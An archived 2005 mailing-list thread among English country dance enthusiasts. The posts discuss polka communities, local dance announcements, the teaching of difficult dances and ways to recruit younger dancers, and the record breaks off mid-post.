web site: http://www.cds- boston.org/english.html#wed Best, Terry ================================================================================ Archive-Date: Sun, 11 Sep 2005 17:23:41 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <4324CA70.4010404-AT-sbcglobal.net> Date: Sun, 11 Sep 2005 17:23:12 -0700 From: Jon Berger Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] English Dialect Website References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Emily L. Ferguson wrote: > How many American dancers have any idea of how to polka? Can you put > them all on the head of a pin..... Lots of people do around where I live, that being the California wine country. There's a whole community of Germans who moved to the Sonoma area in the 30's or thereabouts to work in the wineries, and they're polka fiends. You can see them at a restaurant called Little Switzerland in El Verano any Friday or Saturday night; the tradition of polka nights there has gone on for something like 40 years. There's a San Francisco band called Polkacide who have gotten locally infamous for doing more or less straightforward polka music, but dressed in outrageous punk outfits, very loud, and usually in alternative-music clubs. We went to see them at a bar in Cotati, which is a college town, the home of Sonoma State University. The crowd was mostly college kids, who were pogoing and crashing and leaping around and generally dancing the way you'd dance to a punk-rock band, but there was also an older couple, probably in their 60's, who were happily and quite obliviously polkaing away, complete with lots of snazzy turns and dips and hot moves. The college crowd respectfully gave them lots of floor space. The combination of the two styles was lots of fun to watch. -- Jon Berger http://pages.sbcglobal.net/jberger ================================================================================ Archive-Date: Sun, 11 Sep 2005 19:26:06 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v619) References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> <4324CA70.4010404-AT-sbcglobal.net> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-ID: <802DC45A-2334-11DA-802F-000D9344C426-AT-mindspring.com> Content-Transfer-Encoding: 7bit From: Maryn McKenna Reply-To: ECD-AT-playford.slac.stanford.edu Subject: polka, was Re: [ECD] English Dialect Website Date: Sun, 11 Sep 2005 22:25:35 -0400 To: ECD-AT-ssrl04.slac.stanford.edu coming in late on this because i am in New Orleans where time and connectivity are in short supply, but talking about polka is an irresistible distraction. in the past two years i've become a part-time resident of Minneapolis. i thought the biggest difference from my southern home in Atlanta would be that everyone would be freakishly tall and blonde. while that turned out to be true, the even bigger difference is that everyone who is tall and blonde knows how to polka and does it enthusiastically and unironically. (they even know all the lyrics. i had no idea polkas *had* lyrics.) there's a restaurant/bar not far from UMinn called Nye's, home of the World's Most Dangerous Polka Band (TM) (who are not alternative, but rather frighteningly trad) that is a full-on hang-out for tall skinny cool people much younger than me. they *all* polka - some in the mosh-pit ways Jon described, others more formally. and they all also give way to the more traditionally minded 50-70-year-olds who have less wild energy but much more style. in the ECD/contra community, we're accustomed to seeing several generations on the same dance floor - but i'm not at all accustomed to seeing it in a bar or club. it's a trip. (i assume they can also all hambo. just the idea of mosh-pit hambo makes my head hurt.) maryn On Sep 11, 2005, at 8:23 PM, Jon Berger wrote: > There's a San Francisco band called Polkacide who have gotten locally > infamous for doing more or less straightforward polka music, but > dressed in > outrageous punk outfits, very loud, and usually in alternative-music > clubs. > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Maryn McKenna Atlanta Journal-Constitution mmckenna-AT-mindspring.com 404.285.1175 mobile ================================================================================ Archive-Date: Mon, 12 Sep 2005 02:01:04 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <001301c5b778$2e1035e0$908d4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSU6P6MZJE9Z4D9Q-AT-SSRL.SLAC.STANFORD.EDU> <4324CA70.4010404-AT-sbcglobal.net> <802DC45A-2334-11DA-802F-000D9344C426-AT-mindspring.com> Subject: Re: polka, was Re: [ECD] English Dialect Website Date: Mon, 12 Sep 2005 03:58:43 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Maryn McKenna"" <<(i assume they can also all hambo. just the idea of mosh-pit hambo makes my head hurt.)>> It wouldn't just be your head. Peace, Paul ================================================================================ Archive-Date: Mon, 12 Sep 2005 05:50:42 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v622) Content-Transfer-Encoding: 7bit Message-ID: Content-Type: text/plain; charset=US-ASCII; format=flowed To: ECD List From: Torbin Zimmerman Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] ECD in Windsor, Ontario Date: Mon, 12 Sep 2005 08:50:10 -0400 I'm pleased to announce that ECD in Windsor, Ontario has begun its second season of weekly dances. The dances are every Friday evening, 7:30 - 10:00, with basic instruction from 7:15 at historic Mackenzie Hall. Detailed information, including driving directions, is on our website: www.ecdwindsor.ca. If any of you know dancers, or potential dancers, in the Detroit area, do pass on this announcement. Thanks, Torbin Zimmerman ================================================================================ Archive-Date: Mon, 12 Sep 2005 06:45:42 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Hard dances, was What We Learned MIME-Version: 1.0 Message-ID: From: Campbell Kaynor Reply-To: ECD-AT-playford.slac.stanford.edu Date: Mon, 12 Sep 2005 09:45:04 -0400 Content-Type: text/plain; charset=""US-ASCII"" I have always worked on the premise that what makes a dance ""hard"" or ""challenging"" is mostly the skill (or lack thereof) with which it is taught. There are numerous variables that contribute to how easily person X assimilates the concepts versus person Y, but foremost among them is the quality of the instruction and that quality must be a dynamic rather than a specific skill set because each person and each crowd has different learning styles etc... so what works one night with one group may not work at all the next night at a different dance. This philosophy emminated from the observation that when I started calling, I considered dances such as Newcastle more ""difficult"" than other dances but as I gained experience I gained the ability to coax even rank newcomers through the dance in a way that was enjoyable to all. The figures didn't change, the music was pretty consistent, and the ability of the newcomers to learn more intricate choreography didn't change. What changed was my ability to assess the crowd, choose the instructions that might work well for them, and my ability to convey my intent to an ever shifting audience that required constant and real-time adjustments in approach. Cammy ================================================================================ Archive-Date: Mon, 12 Sep 2005 06:59:46 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Mon, 12 Sep 2005 10:59:20 -0300 (Atlantic Daylight Time) From: John Wood Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] Restart of Classes To: ECD Mainstream Message-ID: <432589B8.000005.00628-AT-JOHN-6F7DD3F4A2> MIME-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 7BIT Dancers: It is a pleasure to announce that The Playford Group situated in Nova Scotia has now begun its seventh season of dancing! For all folk interested in participating our web site will provide you with answers of where we are situated, etc. If you have not done English Country Dancing before, come along and join in the excitement and enjoyment of dancing to great music with great people. North Woodside Community Centre 230 Pleasant Street, Dartmouth, N.S. driving in the Eastern Passage direction on the right just pass an Ultrama gas station [on the left]. Classes on Tuesdays, at 7.30 p.m. $4.00 per session. For those really interested, on occasions, we also do demonstrations of period dances round the Province. Contact: John Wood [902-835-5154] Fully qualified Teacher and Co-ordinator. ================================================================================ Archive-Date: Mon, 12 Sep 2005 07:43:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050912144313.57501.qmail-AT-web52611.mail.yahoo.com> Date: Mon, 12 Sep 2005 07:43:13 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Hard dances, was What We Learned To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit If you're dancing for *fun*, then the axis of hard-easy doesn't really have much significance other than to separate those who focus extra energy and brain-cells on complex dances from those who don't. That being said, complex dances can certainly be stimulating and they may be fun to some and frustrating to others. A tough dance can become easier to learn in the hands of a skilled instructor just as an easy dance can become difficult in the hands of a clumsy instructor. As instructors, we need to know our personal limits and, if desired, work on expanding them. As dancers, we need to let the instructor(s) know when we'd like to try more complex dances and understand the challenge they pose to dancers and instructors alike. Tom Vincent Newport, DE --- Campbell Kaynor wrote: > I have always worked on the premise that what makes a dance ""hard"" or > ""challenging"" is mostly the skill (or lack thereof) with which it is > taught. There are numerous variables that contribute to how easily > person > X assimilates the concepts versus person Y, but foremost among them > is the > quality of the instruction and that quality must be a dynamic rather > than > a specific skill set because each person and each crowd has different > learning styles etc... so what works one night with one group may not > work > at all the next night at a different dance. > This philosophy emminated from the observation that when I started > calling, I considered dances such as Newcastle more ""difficult"" than > other > dances but as I gained experience I gained the ability to coax even > rank > newcomers through the dance in a way that was enjoyable to all. The > figures didn't change, the music was pretty consistent, and the > ability of > the newcomers to learn more intricate choreography didn't change. > What > changed was my ability to assess the crowd, choose the instructions > that > might work well for them, and my ability to convey my intent to an > ever > shifting audience that required constant and real-time adjustments in > approach. > Cammy > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Mon, 12 Sep 2005 09:00:59 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning MIME-Version: 1.0 Message-ID: From: Campbell Kaynor Reply-To: ECD-AT-playford.slac.stanford.edu Date: Mon, 12 Sep 2005 12:00:27 -0400 Content-Type: text/plain; charset=""US-ASCII"" Emily L. Ferguson wrote: > How many American dancers have any idea of how to polka? Can you put > them all on the head of a pin..... I grew up (Ha Ha Ha) in Amherst, MA USA. When we moved there in 1959, many of the road signs were in polish or bilingual because a large proportion of the population in Amherst and the vast majority of residents in surrounding towns (e.g., Hadley) were first generation Pols. Most of my classmates were 2nd generation and (besides learning every politically incorrect ethnic joke about Polish people from them!) they often invited our family to go to their Sat. night shindigs where they danced polka after polka all night long (with a few other dances that I didn't grasp thrown in). They still do these and there are radio programs that play nothing but polish music and some are in the language to this day. Then came the Swedish connection that brought other polkas in the Scandinavian repertoire to the contra/ECD dancers of the Pioneer Valley of Massachusetts in the 1970-1990s. This led to some humorous situations like when I found myself teaching the Swedish version of the Norwegian Polka to New Englanders (whose own version bears only slight resemblance). Periodically, influxes of international folkdancers into the contra crowds brought an appetite for some unfamiliar dances and styles that are neither indigenous to New England nor representative of a particular place of origin. I get your point - that most Americans do not do these dances the way they ""should"" be done (i.e., as they are danced in their native contexts), but then again we are not in their native context and at least we occasionally get instruction on how they SHOULD be done even if we find it hard to adopt all the nuances (especially when the music is also often Americanized). I learned the Norwegian Polka, the Schottische, the Gay Gordons, the Road to the Isles, the Hambo, the Salty Dog rag, and a few others when I first started contradancing. I learned them not as dances from different locations around the world that ought to be done with as much of those geographic nuances as we could muster, but as dances that had been adopted into the traditional New England repertoire to be done in the style that New Englanders found satisfying and workable with their music and dancing skills during a typical evening of Contradancing. Such an approach is not ""wrong"" but ""different"" from the one where you try to mimic the dances as done by the people in their places of origin. Probably the only thing wrong is that we have failed to change the names of the dances as they were adopted (e.g., New England Polka rather than Norwegian). I learned various polskor, polkas, mazurkas, waltzes etc... during my visits to Sweden where I learned not only how they were done in the places I stayed, but also how differently they are done as one moved from community to community in Scandinavia. The contrast in these approaches is analogous to the contrast in approaches that generates much of the discussion on this list about whether dances published 350 years ago should be danced as we like to dance today or as we think they were done back then and of course the related discussions about how much we don't and how little we do know about how any of the dances were done at the time and place in history when they were popular. Cammy ================================================================================ Archive-Date: Mon, 12 Sep 2005 09:55:38 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: Date: Mon, 12 Sep 2005 12:55:07 -0400 To: ECD-AT-ssrl04.slac.stanford.edu From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 12:00 PM -0400 9/12/05, Campbell Kaynor wrote: >Emily L. Ferguson wrote: > >> How many American dancers have any idea of how to polka? Can you put >> them all on the head of a pin..... > >I grew up (Ha Ha Ha) in Amherst, MA USA. When we moved there in 1959, many >of the road signs were in polish or bilingual because a large proportion The interesting part is how many of us grew up in another USA - one in which the cultural heritage was largely european, and largely northern european to boot. >I get your point - that most Americans do not do these dances the way they >""should"" be done Not my point, actually at all. Rather, I would have promoted a better focussed conversation on this subject had I been a bit more specific - to amend my original quote above let me say ""How many recreational dancers in the US who find their way to ECD have any idea how to polka"" in any style? Most of our prospective growth audience hardly knows how to take ballroom position, much less how to dance any thing (polka, waltz, even just a 50's rock'n'roll slow dance) in that hold. Reaching this massive group of 12-50 year olds is one of our eternal projects and speaking a language they understand to convey how to do what we so love to do has to climb over a chasm of definition of ""dance"" which seems to me to be quite enormous. Just the idea of dancing to ""music"" with a melody is fast becoming completely foreign to a huge portion of the population of the US. Even the concept of ""melody"" is absent from their sound world. Moving from ""music"" to ""melody"" to ""polka"" is a long journey, to me. -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Mon, 12 Sep 2005 10:17:34 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050912171708.78038.qmail-AT-web52615.mail.yahoo.com> Date: Mon, 12 Sep 2005 10:17:08 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Oddly, you missed the largest polka-dancing ethnic group: Mexicans. --- Campbell Kaynor wrote: > Emily L. Ferguson wrote: > > > How many American dancers have any idea of how to polka? Can you > put > > them all on the head of a pin..... > > I grew up (Ha Ha Ha) in Amherst, MA USA. When we moved there in 1959, > many > of the road signs were in polish or bilingual because a large > proportion > of the population in Amherst and the vast majority of residents in > surrounding towns (e.g., Hadley) were first generation Pols. Most of > my > classmates were 2nd generation and (besides learning every > politically > incorrect ethnic joke about Polish people from them!) they often > invited > our family to go to their Sat. night shindigs where they danced polka > after polka all night long (with a few other dances that I didn't > grasp > thrown in). They still do these and there are radio programs that > play > nothing but polish music and some are in the language to this day. > > Then came the Swedish connection that brought other polkas in the > Scandinavian repertoire to the contra/ECD dancers of the Pioneer > Valley of > Massachusetts in the 1970-1990s. This led to some humorous situations > like > when I found myself teaching the Swedish version of the Norwegian > Polka to > New Englanders (whose own version bears only slight resemblance). > > Periodically, influxes of international folkdancers into the contra > crowds > brought an appetite for some unfamiliar dances and styles that are > neither > indigenous to New England nor representative of a particular place of > origin. > > I get your point - that most Americans do not do these dances the way > they > ""should"" be done (i.e., as they are danced in their native contexts), > but > then again we are not in their native context and at least we > occasionally > get instruction on how they SHOULD be done even if we find it hard to > adopt all the nuances (especially when the music is also often > Americanized). > > I learned the Norwegian Polka, the Schottische, the Gay Gordons, the > Road > to the Isles, the Hambo, the Salty Dog rag, and a few others when I > first > started contradancing. I learned them not as dances from different > locations around the world that ought to be done with as much of > those > geographic nuances as we could muster, but as dances that had been > adopted > into the traditional New England repertoire to be done in the style > that > New Englanders found satisfying and workable with their music and > dancing > skills during a typical evening of Contradancing. Such an approach is > not > ""wrong"" but ""different"" from the one where you try to mimic the > dances as > done by the people in their places of origin. Probably the only thing > wrong is that we have failed to change the names of the dances as > they > were adopted (e.g., New England Polka rather than Norwegian). > I learned various polskor, polkas, mazurkas, waltzes etc... during my > visits to Sweden where I learned not only how they were done in the > places > I stayed, but also how differently they are done as one moved from > community to community in Scandinavia. > > The contrast in these approaches is analogous to the contrast in > approaches that generates much of the discussion on this list about > whether dances published 350 years ago should be danced as we like to > dance today or as we think they were done back then and of course the > related discussions about how much we don't and how little we do know > about how any of the dances were done at the time and place in > history > when they were popular. > > Cammy > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Mon, 12 Sep 2005 10:42:38 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050912174210.40860.qmail-AT-web52612.mail.yahoo.com> Date: Mon, 12 Sep 2005 10:42:10 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit That's really an absurd series of incorrect statements. Of course modern music has melody and going to any dance club will quickly prove that people in their teens, twenties and thirties are more than capable of identifying it and even do an evolved form of the 'ballroom position' when slow dances come around: Face-to-face and both arms around the neck. Last year at Early Music camp I saw a group of teens doing what I can only describe as 'Extreme Sword-Dancing' and it was thrilling to see them revise an ancient form of dance into something they could enjoy and relate to. If someone is into dance, they often enjoy a wide-variety of dance styles, but if you're complaining to people that their music doesn't have melody it's no surprise that you're having problems recruiting new dancers. Regardless of what we do, teens and twentysomethings basically don't want to do something when they walk into a room and see a bunch of grey-hairs doing it. Human nature (at least in the US). The only way around that is to find a few teens and twentysomethings that *do* enjoy it, teach them to call and help them (from the shadows) set up dances for their own age group. Otherwise, a number of dance styles will die out and will only be revived occasionally in the future as a novelty (such as swing dancing was a few years ago). Tom Vincent Newport DE --- ""Emily L. Ferguson"" wrote: > Most of our prospective growth audience hardly knows how to take > ballroom position, much less how to dance any thing (polka, waltz, > even just a 50's rock'n'roll slow dance) in that hold. > > Reaching this massive group of 12-50 year olds is one of our eternal > projects and speaking a language they understand to convey how to do > what we so love to do has to climb over a chasm of definition of > ""dance"" which seems to me to be quite enormous. Just the idea of > dancing to ""music"" with a melody is fast becoming completely foreign > to a huge portion of the population of the US. Even the concept of > ""melody"" is absent from their sound world. > > Moving from ""music"" to ""melody"" to ""polka"" is a long journey, to me. > > -- > Emily L. Ferguson > mailto:elf-AT-cape.com > 508-563-6822 > New England landscapes, wooden boats and races, press photography > http://www.vsu.cape.com/~elf/ > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Mon, 12 Sep 2005 10:47:12 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <008e01c5b7c1$ad5dbd60$f08e4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning Date: Mon, 12 Sep 2005 12:44:50 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Emily L. Ferguson"" <> Not so among the young people I know. Yes, they listen to a lot of music which is really poetry-over-rhythm rather than melodic, but they also listen to multiple other styles of music. And around here, at least, there was a huge revival of swing-dancing a couple of years ago, almost entirely among people under 25. Like all fads, it has passed, but the kids who were doing that are now doing lots of salsa dancing, so they're still dancing to melodies. I wouldn't despair just yet. Peace, Paul ================================================================================ Archive-Date: Mon, 12 Sep 2005 13:26:59 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Mon, 12 Sep 2005 12:39:40 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning To: ""Emily L. Ferguson"" CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSY1HPYHDA9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii; format=flowed References: Emily wrote: > Rather, I would have promoted a better focussed conversation on this > subject had I been a bit more specific - to amend my original quote > above let me say ""How many recreational dancers in the US who find > their way to ECD have any idea how to polka"" in any style? > Most of our prospective growth audience hardly knows how to take > ballroom position, much less how to dance any thing (polka, waltz, > even just a 50's rock'n'roll slow dance) in that hold. > Reaching this massive group of 12-50 year olds is one of our eternal > projects and speaking a language they understand to convey how to do > what we so love to do has to climb over a chasm of definition of > ""dance"" which seems to me to be quite enormous. Just the idea of > dancing to ""music"" with a melody is fast becoming completely foreign > to a huge portion of the population of the US. Even the concept of > ""melody"" is absent from their sound world. > Moving from ""music"" to ""melody"" to ""polka"" is a long journey, to me. We're perilously close to ""these kids today ... the music they listen to, it's just noise!"" (And given that there's a genre called ""noisecore"", it's easy to think that's the case.) I think Tom Vincent is right (and how often do I say that?); the difficulty isn't that people are growing up not listening to melodies. There's melody all over the radio; there's melody in church; there's melody in kindergarten; there's melody in movies. There's melody in hip-hop music (although it tends to appear briefly, in the samples). Further, liking thud-and-clump music doesn't preclude liking English country dance. (I run a Regency dance [actually modern ECD interpretations of dances from, more-or-less, Jane Austen's lifetime] at a local science fiction convention; one of the people who's most into it is a guy who tells me that he can't come to our second-Friday dance parties because he goes to a techno dance that night.) I think the big problems with recruiting under-50s are: 1) This stuff isn't for everybody. (I think most, but not all, physically able and mentally capable English-speakers could live through an evening of ECD, but consider how many contradancers - people who can do and enjoy a closely-related form - really dislike ECD. What percentage of the general population are capable of enjoying it?) 2) Critical mass. While multigenerational activities can be popular, being the only representative of your generation at an activity can be uncomfortable. (Among other things, young single people usually like to have some date prospects around when they go out.) 3) Generational dropout. Around here at least, it seems like only people who were already dedicated dancers keep coming dancing after they have kids, and new dancers don't generally start then if they _do_ have kids. (If you're going to pay for a babysitter, you're likelier to have a guaranteed nice night out doing something you know you like than to try something weird.) We get a big hole in the 30-40 (ish) age range. 4) Lack of immediate accessibility and lots of competition for recreational time. Few people are actually good at this stuff the moment they walk in the door for the first time. It has to _really_ speak to you to make you keep coming back often enough and long enough to acquire fluency and be rewarding in itself. 5) Extremely un-hip locations. (Church social halls with the flourescent lights turned on full. Halls that are essentially suburban, even if they're within city limits; often hard to get to by transit and not part of a district that has a ""scene"".) Stick your nose in and is there anything exciting going on? There's either a bunch of people standing and listening or they're in the middle of doing something that looks hard and that you can't join in on until this one ends and the next one starts (although that's sometimes ameliorated if someone was sitting out and can join in). 6) Complicated story. (I spent Saturday co-sitting a table at the ""Independent Arts and Media Expo"" in San Francisco, putting forth English / Contra / Regency / English Ceilidh / longsword / morris as participatory arts activities to a crowd of 20s - 50s people who, demonstrably, leave the house on occasion. It was handy to be repping multiple dances, because ome people were ""you don't have to wear costumes, do you?"" and some were ""do you get to wear costumes?"" and I could route them each in the right direction. But answering the ""what kind of dance is this"" question, which I think I got down to about 50 words, is hard. (The points I was hitting were: come by yourself or with a friend, you don't have to take classes beforehand, the basic unit is the couple; you and your partner of the moment spend a couple of minutes learning a particular choreography, then execute that with another couple and another couple and another couple, then change partners, learn another choreography and repeat. Acoustic music from the British Isles and America. No commitment; check it out, if you like it, come back when you're free; no series of classes.) We probably talked to fifty people - there were 120 arts associations represented, and our table was between an arts-oriented cable access channel and a Filipino-American theatre company, to give you some idea of the breadth here - and we moved quite a few flyers and got some interest; there were other people we clearly lost. There was one who glazed over at the word ""traditional""; a couple I lost at ""choreography."" Even people who were quite engaged and had done other participatory dance - Zydeco, for example - had trouble with the idea that you keep learning new stuff throughout the evening, rather than having a clearly-demarcated lesson time and party time. ""Is it a lesson or is it a dance?"" I think those are the major points; I don't think they have much to do with not knowing how to take a ballroom hold. (Once people have the idea of taking dance instruction, you can teach 'em to galop instantly, and polka's not _that_ much harder.) -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Tue, 13 Sep 2005 04:55:06 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: From: ""Marge Cramton"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSY1HPYHDA9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> Subject: Re: [ECD] thoughts on styles of learning - recruiting younger dancers Date: Tue, 13 Sep 2005 07:54:51 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=response Content-Transfer-Encoding: 7bit Alan listed accurately if rather depressingly all the reasons that it's hard to recruit younger EC dancers. These are all good things to keep in mind, but I wouldn't want people to read his good post and give up hope. This stuff ISN'T for everybody, but it IS big fun. In Ann Arbor, where we've had close to zero involvement by University of Michigan students for years, we've suddenly got a group of grad students that are energized to market dancing to students, and we're seeing results at our dances. At an info table last week where we were one of at least 400 organizations exhibiting--everything from breakdancing to engineering fraternities--we talked to quite a few students who got why contra dancing would be fun. The kids who were interested were only a small fraction of the number passing by, but if a fourth of them showed up at a dance, that would be a stunning increase in our under-40 dance population. OK, that's contra, but we're starting some new ECD things with students, too, so in a couple of months we'll know how they're working and report back. We also held a dynamite ECD family dance this summer that was as much fun as I've ever had dancing, so we're going to figure out how to repeat that. I've seen a good sampling of not-for-everybody late-teens / early-twenties dancers in Massachusetts, and West Michigan does great with this, too. I think the list hasn't talked about this in a while: I'd be interested to hear what specific activities others have done that have been successful in bringing in younger people. And what do you do to mitigate the issues that Alan points out? Marge Cramton > I think the big problems with recruiting under-50s are: > > 1) This stuff isn't for everybody. (I think most, but not all, physically > able and mentally capable English-speakers could live through an > evening > of ECD, but consider how many contradancers - people who can do and > enjoy > a closely-related form - really dislike ECD. What percentage of > the general population are capable of enjoying it?) > > 2) Critical mass. While multigenerational activities can be popular, > being > the only representative of your generation at an activity can be > uncomfortable. (Among other things, young single people usually like > to > have some date prospects around when they go out.) > > 3) Generational dropout. Around here at least, it seems like only people > who were already dedicated dancers keep coming dancing after they have > kids, and new dancers don't generally start then if they _do_ have > kids. > (If you're going to pay for a babysitter, you're likelier to have a > guaranteed nice night out doing something you know you like than to try > something weird.) We get a big hole in the 30-40 (ish) age range. > > 4) Lack of immediate accessibility and lots of competition for > recreational > time. Few people are actually good at this stuff the moment they walk > in the door for the first time. It has to _really_ speak to you to > make > you keep coming back often enough and long enough to acquire fluency > and > be rewarding in itself. > > 5) Extremely un-hip locations. (Church social halls with the flourescent > lights turned on full. Halls that are essentially suburban, even > if they're within city limits; often hard to get to by transit and not > part of a district that has a ""scene"".) Stick your nose in and is > there > anything exciting going on? There's either a bunch of people standing > and > listening or they're in the middle of doing something that looks hard > and > that you can't join in on until this one ends and the next one starts > (although that's sometimes ameliorated if someone was sitting out and > can > join in). > > 6) Complicated story. (I spent Saturday co-sitting a table at the > ""Independent Arts and Media Expo"" in San Francisco, putting forth > English / Contra / Regency / English Ceilidh / longsword / morris > as participatory arts activities to a crowd of 20s - 50s people who, > demonstrably, leave the house on occasion. > > It was handy to be repping multiple dances, because ome people were > ""you > don't have to wear costumes, do you?"" and some were ""do you get to wear > costumes?"" and I could route them each in the right direction. > > But answering the ""what kind of dance is this"" question, > which I think I got down to about 50 words, is hard. (The points I was > hitting were: come by yourself or with a friend, you don't have to take > classes beforehand, the basic unit is the couple; you and your partner > of > the moment spend a couple of minutes learning a particular > choreography, > then execute that with another couple and another couple and another > couple, then change partners, learn another choreography and repeat. > Acoustic music from the British Isles and America. No commitment; > check it > out, if you like it, come back when you're free; no series of classes.) > > We probably talked to fifty people - there were 120 arts associations > represented, and our table was between an arts-oriented cable access > channel and a Filipino-American theatre company, to give you some idea > of > the breadth here - and we moved quite a few flyers and got some > interest; > there were other people we clearly lost. There was one who glazed over > at the word ""traditional""; a couple I lost at ""choreography."" > > Even people who were quite engaged and had done other participatory > dance > - Zydeco, for example - had trouble with the idea that you keep > learning > new stuff throughout the evening, rather than having a > clearly-demarcated > lesson time and party time. ""Is it a lesson or is it a dance?"" ================================================================================ Archive-Date: Tue, 13 Sep 2005 06:22:45 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] recruiting younger dancers - (lengthy) MIME-Version: 1.0 Message-ID: From: Campbell Kaynor Reply-To: ECD-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 09:22:27 -0400 Content-Type: text/plain; charset=""US-ASCII"" In re recruitment of teens-early 20s dancers, I had the fortune to grow up in a college town where I learned some of the tricks that work. Here is a list of some of the activities I did to get students to become involved: 1) Played music during lunchtime at the health-food cafeteria on University campus (with stack of fliers. They even gave me free lunch for playing!) 2) Played street music in town at various locations as close to where people would be waiting for the bus back to campus as I could, 3) Solicited invitations to lead dancing at social get-togethers of the Outing Club, the off-campus commuters org, dorm parties, get-to-know-each-other beginning of the school year parties and freshman events, 4) Contacted faculty in the history department to offer my services for educating students in social life of particular eras, 5) Contacted the Scandinavian studies faculty for playing Swedish music 6) Stayed in touch with the recreation department that offered a class in international folkdance to make sure that they informed interested students about area dances in ECD and contra (and was often invited to lead one of their classes), 7) Taught dancing and fiddling through the Continuing Education programs at the University 8) Included campus stands on local Morris tours and postered bulletin boards with notices about May Day activities etc... 9) Talked about it and got other eager dancers to talk about it at every opportunity - I think word of mouth is THE MOST effective method 10) Encouraged or 